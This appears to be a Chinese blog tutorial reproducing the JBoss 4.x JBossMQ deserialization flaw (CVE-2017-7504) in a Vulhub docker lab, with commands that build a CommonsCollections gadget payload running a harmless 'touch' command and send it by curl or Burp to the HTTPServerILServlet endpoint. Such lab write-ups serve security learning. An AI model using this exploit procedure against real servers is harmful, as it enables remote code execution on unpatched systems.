利用Vulnhub复现漏洞 - JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)


JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

    • Vulnhub官方复现教程
      • 漏洞原理
    • 复现过程
      • 启动环境
      • 漏洞复现
        • 发送POC
          • 通过命令
          • 通过`BurpSuit`发送
        • 检测POC是否成功

Vulnhub官方复现教程 【利用Vulnhub复现漏洞 - JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)】https://vulhub.org/#/environments/jboss/CVE-2017-7504/
漏洞原理
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
参考:
  • https://github.com/joaomatosf/JavaDeserH2HC
  • https://www.youtube.com/watch?v=jVMr4eeJ2Po
复现过程 启动环境
https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为
cd /root/vulhub/jboss/CVE-2017-7504

搭建及运行漏洞环境:
docker-compose build && docker-compose up -d

用时:13分钟
环境启动后,访问http://your-ip:8080
利用Vulnhub复现漏洞 - JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
文章图片

漏洞复现
参考利用工具JavaDeserH2HC,我们选择一个Gadget:ExampleCommonsCollections1WithHashMap,编译并生成序列化数据:
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java java -cp commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java "touch /tmp/CVE-2017-7504_is_success"

出现Warning没关系
利用Vulnhub复现漏洞 - JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
文章图片

由于执行的命令是touch /tmp/success。执行完成后,将生成一个文件
发送POC POC文件ExampleCommonsCollections1WithHashMap.ser
将该文件作为body发送如下数据包:
通过命令
curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser

我的环境不成功
利用Vulnhub复现漏洞 - JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
文章图片

通过BurpSuit发送
GET /jbossmq-httpil/HTTPServerILServlet HTTP/1.1 Host: 192.168.236.143:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml; q=0.9,*/*; q=0.8 Accept-Language: zh-CN,zh; q=0.8,zh-TW; q=0.7,zh-HK; q=0.5,en-US; q=0.3,en; q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 1236粘贴POC文件

检测POC是否成功 进入容器
docker-compose exec jboss bash

可见/tmp下的CVE-2017-7504_is_success已成功创建。
利用Vulnhub复现漏洞 - JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
文章图片

    推荐阅读